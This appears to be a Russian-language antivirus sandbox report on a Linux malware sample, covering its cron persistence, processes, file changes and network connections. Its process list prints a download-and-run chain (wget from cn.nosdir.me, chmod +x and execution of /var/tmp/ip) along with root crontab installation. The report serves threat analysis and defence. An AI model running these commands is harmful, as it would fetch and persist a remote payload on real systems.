Техническая информация
Для обеспечения автоматического запуска и распространения:
Создает или модифицирует следующие файлы:
- /var/spool/cron/crontabs/root
Вредоносные функции:
Запускает себя в качестве демона
Запускает процессы:
- /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
- <SAMPLE_FULL_PATH>
- /bin/bash <SAMPLE_FULL_PATH> -c
- pgrep -x ip
- wget -q --no-check-certificate https://cn.nosdir.me/ip
- chmod +x /var/tmp/ip
- /var/tmp/ip
- crontab -l
- grep -q .startup
- crontab /var/tmp/.tempo
- sleep 1
- rm -rf /var/tmp/.tempo
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /var/tmp/ip
- /var/spool/cron/crontabs/tmp.Ep3coo
Создает или модифицирует файлы:
- /var/tmp/ip
- /var/tmp/.tempo
- /var/spool/cron/crontabs/tmp.Ep3coo
Удаляет файлы:
- /var/tmp/.tempo
Сетевая активность:
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
- [2#######0:3036::6815:52f6]:0
- [2#######0:3034::ac43:a635]:0
- 17#.#7.166.53:0
- 10#.#1.82.246:0
- 17#.##.166.53:443
- 17#.##.100.197:443
DNS ASK:
- cn.##sdir.me
Посылает данные следующим серверам:
- 17#.##.166.53:443
- 17#.##.100.197:443
Получает данные от следующих серверов:
- 17#.##.166.53:443
- 17#.##.100.197:443
Прочее:
Собирает информацию о CPU
Собирает информацию об оперативной памяти
